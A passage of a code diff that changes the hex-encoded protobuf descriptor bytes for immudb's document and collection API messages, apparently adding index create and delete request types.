0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xab, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, + 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, + 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, 0x05, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, + 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x4f, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x63, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x73, 0x22, 0x97, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, - 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xc0, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, - 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, - 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, - 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, - 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, - 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, - 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, - 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, - 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x8b, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, - 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x65, 0x73, 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x63, 0x0a, 0x12, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 